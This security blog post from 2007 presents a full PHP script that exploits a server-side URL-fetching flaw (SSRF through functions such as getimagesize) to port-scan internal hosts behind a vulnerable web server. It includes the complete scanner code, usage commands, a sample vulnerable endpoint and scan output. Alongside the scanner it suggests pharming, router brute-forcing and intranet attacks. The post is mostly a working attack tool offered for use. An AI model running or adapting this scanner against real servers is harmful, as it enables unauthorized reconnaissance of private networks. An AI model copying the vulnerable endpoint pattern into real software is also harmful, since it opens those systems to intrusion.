Today Stefano had a nice idea on how to (ab)use remote furl enabled functions that normally could lead to a mere DoS. Options are Drive By Pharming, Bruteforcing routers and http based authentications and Full Lan Scan. Sounds interesting? It is.
Of course you can also "proxy" HTTP GET requests to external and internal targets (this possibly means hacking applications not reachable from the public internet as described, for example, in an article by Robert Hansen titled "Hacking Intranets Through Web Interfaces" and reachable at the address http://www.sectheory.com/intranet-hacking.htm, there are some client side techniques that are also valid in this case, on the server side).
I was especially interested in the third point (scanning internal hosts in a reliable manner) and come up with the following script (feel free to convert it to python and multithreading ;)). The script works with both error messages and timing (blind) detection.
<?php // remote furl scanner - scan.php // (c) 2007 Francesco `ascii` Ongaro - http://www_ush_it/ // idea of Stefano `wisec` di Paola - http://www.wisec.it/ set_time_limit(0); error_reporting(E_ALL); // ob_start(); // ob_implicit_flush(); if ($argc < 3) { echo 'Usage: '.$argv[0].' <scan_host> <vulnerable_url>'."\n"; echo ' php -n '.$argv[0].' 192.168.1.1 "http://intranet/getimagesize.php?url={URL}"'."\n\n"; exit; } $host = $argv[1]; $url = $argv[2]; $url = str_replace('{URL}', '{PROTO}{HOST}:{PORT}/', $url); // $url = 'http://jhon.asciinb.vlan.ush.it/getimagesize.php?url={PROTO}{HOST}:{PORT}/'; echo 'Remote url is '.$url."\n"; $protos = array('http://', 'ftp://'); define('PORT_CLOSE', 1000); define('PORT_UNKNOWN', 1001); define('PORT_OPEN', 1002); define('SCAN_FATAL', TRUE); define('SCAN_OK', FALSE); // define('DEBUG', TRUE); define('DEBUG', FALSE); $errors = array(); $errors[] = array('URL file-access is disabled in the server configuration', PORT_UNKNOWN, SCAN_FATAL); $errors[] = array('couldn\'t connect to server', PORT_CLOSE, SCAN_OK); $errors[] = array('failed to open stream', PORT_CLOSE, SCAN_OK); $errors[] = array('could not make seekable', PORT_OPEN, SCAN_OK); $report = array(); $report[PORT_CLOSE] = 'closed'; $report[PORT_OPEN] = 'open'; $report[PORT_UNKNOWN] = 'unknown'; $results = array(); foreach ($protos as $proto) { for ($port=0;$port<1024;$port++) { if (!DEBUG) echo '.'; else echo 'Scanning port('.$port.')..'."\n"; $time_start = time(); $response = file_get_contents(str_replace(array('{PROTO}', '{HOST}', '{PORT}'), array($proto, $host, $port), $url)); $time_end = time()-$time_start; $found = FALSE; foreach ($errors as $error) {
if (DEBUG) echo ' Checking error('.$error[0].')..'."\n"; if (strstr($response, $error[0])) { if ($found === TRUE && $results[$proto][$port][0] !== $error[1]) trigger_error('Strange, the response already matched an error but this time the guess is different!', E_USER_NOTICE); if ($error[2] === TRUE) trigger_error('Sorry but this technique doesn\'t work on this host!', E_USER_NOTICE); $results[$proto][$port] = array($error[1], $time_end); $found = TRUE; } } if ($found === FALSE) { trigger_error('Strange, the response did not match any error!', E_USER_NOTICE); if (DEBUG) echo $response; $results[$proto][$port] = array(PORT_UNKNOWN, $time_end); } } } echo "\n"; foreach ($protos as $proto) { echo 'Scan with protocol('.$proto.'):'."\n"; echo "\t".'PORT'."\t".'STATUS'."\t".'TIME'."\n"; foreach ($results[$proto] as $port => $result) if ($result[0] >= PORT_UNKNOWN) echo "\t".$port."\t".$report[$result[0]]."\t".$result[1].'sec'."\n"; } ?>
The downloadable version is: http://www_ush_it/team/ascii/hack-remote_furl_scanner/scan.php. It can be used this way:
$ time php -n scan.php 127.0.0.1 "http://me/getimagesize.php?url={URL}"
The server component should be of the type:
$ cat /home/me/getimagesize.php <?php getimagesize($_GET['url']); ?>
As you can see you can adjust the errors array and adapt it to other functions and languages. Findings are available in the $results array (that contains also the closed ports timing) or summarized in the graphical output. You should expect an output similar to the following (with a few more dots, each one representing a scanned port).
$ time php -n scan.php 127.0.0.1 "http://me/getimagesize.php?url={URL}" Remote url is http://me/getimagesize.php?url={PROTO}{HOST}:{PORT}/ Notice: Strange, the response did not match any error! in /home/me/scan.php on line 63 Notice: Strange, the response did not match any error! in /home/me/scan.php on line 63 Notice: Strange, the response did not match any error! in /home/me/scan.php on line 63 Notice: Strange, the response did not match any error! in /home/me/scan.php on line 63 Notice: Strange, the response did not match any error! in /home/me/scan.php on line 63 Notice: Strange, the response did not match any error! in /home/me/scan.php on line 63 Scan with protocol(http://): PORT STATUS TIME 53 open 10sec 69 unknown 0sec 80 unknown 0sec 443 unknown 0sec Scan with protocol(ftp://): PORT STATUS TIME 53 open 10sec 69 unknown 15sec 80 unknown 15sec 443 unknown 15sec real 2m3.550s user 0m1.606s sys 0m0.804s
Enjoy.